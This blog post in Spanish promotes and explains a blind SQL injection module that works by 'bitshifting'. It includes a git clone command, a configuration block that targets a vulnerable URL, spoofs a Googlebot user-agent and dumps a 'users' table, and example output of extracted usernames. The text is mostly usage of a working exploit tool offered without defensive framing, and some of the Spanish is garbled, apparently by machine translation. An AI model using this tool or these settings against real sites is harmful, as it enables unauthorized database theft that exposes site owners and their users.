Post137 nn

Bitshifting: Un módulo de inyección SQL a ciegas


Img 2344
Misael Banales

Introducción


Este es un módulo que realiza la inyección SQL ciega usando el método bitshifting para calcular caracteres en lugar de adivinarlos. Requiere 7/8 peticiones por carácter, dependiendo de la configuración.

Descarga

git clone https://github.com/awnumar/blind-sql-bitshifting.git


Uso



Descarga de bitshifting


Importación ciego-ql-bitshifting como x, edita este diccionario para configurar vectores de ataque x. opciones.


Ejemplos de configuración


# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1

La opción assume_only_ascii hace que el módulo asuma que todos los caracteres que está descargando son ASCII. Como el charset ASCII sólo alcanza 127, podemos poner el primer bit a 0 y no preocuparnos por calcularlo. Eso es una reducción del 12,5% en las solicitudes. Probando localmente, esté cedido un aumento de velocidad medio del 15%. Por supuesto, esto puede causar problemas cuando se descargan chars que están fuera del rango ASCII. Por defecto, está ajustado a 0.

Una vez configurado:

data = x.exploit()

Esto devuelve un array bidimensional, con cada sub-array conteniendo una sola fila, la primera siendo las cabeceras de columna.

Salida de ejemplo:

[['id', 'username'], ['1', 'eclipse'], ['2', 'dotcppfile'], ['3', 'Acey'], ['4', 'Wardy'], ['5', 'idek']]

Opcionalmente, sus scripts pueden utilizar el módulo tabulado para generar los datos:


from tabulate import tabulate
data = x.exploit()
print tabulate(data,
              headers='firstrow',  # This specifies to use the first row as the column headers.
              tablefmt='psql')     # Using the SQL output format. Other formats can be used.


Esto produciría resultados:


+------+------------+

|   id | username   |

|------+------------|

|    1 | eclipse    |

|    2 | dotcppfile |

|    3 | Acey       |

|    4 | Wardy      |

|    5 | idek       |

+------+------------+





Artículos que te pueden interesar